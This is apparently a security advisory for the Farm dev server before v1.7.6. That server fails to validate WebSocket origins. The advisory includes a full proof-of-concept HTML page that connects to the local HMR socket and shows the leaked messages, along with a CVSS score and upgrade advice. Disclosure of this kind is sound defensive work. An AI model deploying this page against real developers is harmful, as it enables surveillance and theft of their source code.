In versions of Farm before v1.7.6, this security vulnerability is present: Farm's dev (HMR) server does not validate origin when connecting to a WebSocket client. This allows attackers to surveil developers who visit their webpage and potentially steal source code that ends up being leaked by the WebSocket server.
Code like this would be on the attacker's webpage:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WebSocket Client Example</title>
</head>
<body>
<h1>WebSocket Client</h1>
<div id="status">Connecting...</div>
<div id="messages"></div>
<script>
// Create a new WebSocket connection to the server using the default port
const socket = new WebSocket('ws://localhost:9000/__hmr', 'farm_hmr')
// Connection opened
socket.addEventListener('open', function (event) {
document.getElementById('status').textContent = 'Connected to WebSocket server';
// Send a message to the server
socket.send('Hello, server!');
});
// Listen for messages from the server
socket.addEventListener('message', function (event) {
const messagesDiv = document.getElementById('messages');
const messageElement = document.createElement('p');
messageElement.textContent = `Server says: ${event.data}`;
messagesDiv.appendChild(messageElement);
});
// Connection closed
socket.addEventListener('close', function (event) {
document.getElementById('status').textContent = 'Disconnected from WebSocket server';
});
// Handle errors
socket.addEventListener('error', function (event) {
document.getElementById('status').textContent = 'WebSocket error';
console.error('WebSocket error:', event);
});
</script>
</body>
</html>Put it in an HTML file, visit it and make changes to your code with the server turned on.
This vulnerability can be exploited to obtain developers' source code if they end up visiting an attacker-controlled website.
CVSS v3 Score: 6.5/10 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)
Weakness: CWE-1385 (Missing Origin Validation in WebSockets)
Update it to at least v1.7.6 or refrain from visiting untrusted sites while running farm dev. If that is not possible then isolate your dev environment by using a proxy.